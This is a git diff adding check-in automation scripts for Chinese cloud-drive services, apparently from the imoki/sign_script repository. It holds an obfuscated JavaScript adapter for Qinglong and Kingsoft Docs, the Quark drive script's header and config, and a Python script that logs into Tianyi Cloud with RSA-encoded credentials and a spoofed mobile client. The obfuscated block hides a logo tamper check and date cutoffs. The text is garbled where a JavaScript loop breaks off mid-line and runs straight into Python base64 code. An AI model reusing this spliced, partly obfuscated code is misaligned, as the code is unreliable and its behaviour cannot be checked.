_0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i> 2) + c = 3 & v + elif 1 == e: + e = 2 + d += int2char(c << 2 | v >> 4) + c = 15 & v + elif 2 == e: + e = 3 + d += int2char(c) + d += int2char(v >> 2) + c = 3 & v + else: + e = 0 + d += int2char(c << 2 | v >> 4) + d += int2char(15 & v) + if e == 1: + d += int2char(c << 2) + return d + + +def rsa_encode(j_rsakey, string): + rsa_key = f"-----BEGIN PUBLIC KEY-----\n{j_rsakey}\n-----END PUBLIC KEY-----" + pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(rsa_key.encode()) + result = b64tohex((base64.b64encode(rsa.encrypt(f'{string}'.encode(), pubkey))).decode()) + return result + + +def calculate_md5_sign(params): + return hashlib.md5('&'.join(sorted(params.split('&'))).encode('utf-8')).hexdigest() + + +def login(username, password): + #https://m.cloud.189.cn/login2014.jsp?redirectURL=https://m.cloud.189.cn/zhuanti/2021/shakeLottery/index.html + url="" + urlToken="https://m.cloud.189.cn/udb/udb_login.jsp?pageId=1&pageKey=default&clientType=wap&redirectURL=https://m.cloud.189.cn/zhuanti/2021/shakeLottery/index.html" + s = requests.Session() + r = s.get(urlToken) + pattern = r"https?://[^\s'\"]+" # 匹配以http或https开头的url + match = re.search(pattern, r.text) # 在文本中搜索匹配 + if match: # 如果找到匹配 + url = match.group() # 获取匹配的字符串 + # print(url) # 打印url + else: # 如果没有找到匹配 + print("没有找到url") + + r = s.get(url) + # print(r.text) + pattern = r"]*href=\"([^\"]+)\"" # 匹配id为j-tab-login-link的a标签,并捕获href引号内的内容 + match = re.search(pattern, r.text) # 在文本中搜索匹配 + if match: # 如果找到匹配 + href = match.group(1) # 获取捕获的内容 + # print("href:" + href) # 打印href链接 + else: # 如果没有找到匹配 + print("没有找到href链接") + + r = s.get(href) + captchaToken = re.findall(r"captchaToken' value='(.+?)'", r.text)[0] + lt = re.findall(r'lt = "(.+?)"', r.text)[0] + returnUrl = re.findall(r"returnUrl= '(.+?)'", r.text)[0] + paramId = re.findall(r'paramId = "(.+?)"', r.text)[0] + j_rsakey = re.findall(r'j_rsaKey" value="(\S+)"', r.text, re.M)[0] + s.headers.update({"lt": lt}) + + username = rsa_encode(j_rsakey, username) + password = rsa_encode(j_rsakey, password) + url = "https://open.e.189.cn/api/logbox/oauth2/loginSubmit.do" + headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/76.0', + 'Referer': 'https://open.e.189.cn/', + } + data = { + "appKey": "cloud", + "accountType": '01', + "userName": f"{{RSA}}{username}", + "password": f"{{RSA}}{password}", + "validateCode": "", + "captchaToken": captchaToken, + "returnUrl": returnUrl, + "mailSuffix": "@189.cn", + "paramId": paramId + } + r = s.post(url, data=data, headers=headers, timeout=5) + if (r.json()['result'] == 0): + print(r.json()['msg']) + else: + print(r.json()['msg']) + redirect_url = r.json()['toUrl'] + r = s.get(redirect_url) + return s + + +def main(): + s=login(username, password) + rand = str(round(time.time() * 1000)) + surl = f'https://api.cloud.189.cn/mkt/userSign.action?rand={rand}&clientType=TELEANDROID&version=8.6.3&model=SM-G930K' + url = f'https://m.cloud.189.cn/v2/drawPrizeMarketDetails.action?taskId=TASK_SIGNIN&activityId=ACT_SIGNIN' + url2 = f'https://m.cloud.189.cn/v2/drawPrizeMarketDetails.action?taskId=TASK_SIGNIN_PHOTOS&activityId=ACT_SIGNIN' + url3 = f'https://m.cloud.189.cn/v2/drawPrizeMarketDetails.action?taskId=TASK_2022_FLDFS_KJ&activityId=ACT_SIGNIN' + headers = { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; SM-G930K Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 Ecloud/8.6.3 Android/22 clientId/355325117317828 clientModel/SM-G930K imsi/460071114317824 clientChannelId/qq proVersion/1.0.6', + "Referer": "https://m.cloud.189.cn/zhuanti/2016/sign/index.jsp?albumBackupOpened=1", + "Host": "m.cloud.189.cn", + "Accept-Encoding": "gzip, deflate", + } + response = s.get(surl, headers=headers) + netdiskBonus = response.json()['netdiskBonus'] + if (response.json()['isSign'] == "false"): + print(f"未签到,签到获得{netdiskBonus}M空间") + res1 = f"未签到,签到获得{netdiskBonus}M空间" + else: + print(f"已经签到过了,签到获得{netdiskBonus}M空间") + res1 = f"已经签到过了,签到获得{netdiskBonus}M空间" + + headers = { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; SM-G930K Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 Ecloud/8.6.3 Android/22 clientId/355325117317828 clientModel/SM-G930K imsi/460071114317824 clientChannelId/qq proVersion/1.0.6', + "Referer": "https://m.cloud.189.cn/zhuanti/2016/sign/index.jsp?albumBackupOpened=1", + "Host": "m.cloud.189.cn", + "Accept-Encoding": "gzip, deflate", + } + response = s.get(url, headers=headers) + if ("errorCode" in response.text): + print(response.text) + res2 = "" + else: + description = response.json()['description'] + print(f"抽奖获得{description}") + res2 = f"抽奖获得{description}" + response = s.get(url2, headers=headers) + if ("errorCode" in response.text): + print(response.text) + res3 = "" + else: + description = response.json()['description'] + print(f"抽奖获得{description}") + res3 = f"抽奖获得{description}" + + response = s.get(url3, headers=headers) + if ("errorCode" in response.text): + print(response.text) + res4 = "" + else: + description = response.json()['description'] + print(f"链接3抽奖获得{description}") + res4 = f"链接3抽奖获得{description}" + + title = "天翼云签到" + content = f""" + {res1} + {res2} + {res3} + {res4} + """ + notify.send(title, content) + +def lambda_handler(event, context): # aws default + main() + + +def main_handler(event, context): # tencent default + main() + + +def handler(event, context): # aliyun default + main() + + +if __name__ == "__main__": + main() + time.sleep(random.randint(5, 30)) diff --git a/脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js b/脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js new file mode 100644 index 0000000..b86ee64 --- /dev/null +++ b/脚本库/web版/账密/夸克网盘/2025-08-25_ql_quark_f2d5bcba.js @@ -0,0 +1,467 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ql_quark.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_quark.js +// # Repo: imoki/sign_script +// # Path: polymerization/ql_quark.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: f2d5bcba16c676b4a50400fcac5108123cea38ea73368a79a40bf5baebc60969 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "夸克网盘" + cron: 10 30 10 * * * + 脚本兼容: 金山文档(1.0), 青龙 + 更新时间:20250306 + 环境变量名:quark + 环境变量值:填写手机app抓包的一个GET请求包,并且含sign的url,推荐用含growth/info的url。 + 必须是抓夸克APP中的夸克网盘。 + 若抓不到上述url,只需要抓到含sign的url就行,推荐用这个开头的url:https://drive-m.quark.cn/ +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "quark"; // 分配置表名称 +var pushHeader = "【夸克网盘】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var 